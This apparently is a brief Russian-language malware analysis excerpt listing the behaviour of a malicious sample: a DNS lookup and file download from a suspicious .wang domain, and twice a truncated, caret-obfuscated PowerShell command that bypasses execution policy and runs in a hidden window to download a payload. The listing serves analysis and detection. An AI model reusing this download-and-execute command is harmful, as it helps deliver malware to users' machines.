Техническая информация
- http://transporingsytw.wang/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POWe^RS^h^ell.eX^e^ -eXE^CuTION^POli^cy BypaSs^ -NOP^rO^fi^lE -w^IN^d^OWs^t^yLe ^hiD^den ^(^N^E^W-O^Bj^EC^t sy^STeM.nE^t^.WEb^cLiENt)^.d^o^W^NL^oAD^Fi^LE^('http://transpori...
- DNS ASK tr#####ringsytw.wang
- '<SYSTEM32>\cmd.exe' /c "POWe^RS^h^ell.eX^e^ -eXE^CuTION^POli^cy BypaSs^ -NOP^rO^fi^lE -w^IN^d^OWs^t^yLe ^hiD^den ^(^N^E^W-O^Bj^EC^t sy^STeM.nE^t^.WEb^cLiENt)^.d^o^W^NL^oAD^Fi^LE^('http://transpori...' (со скрытым окном)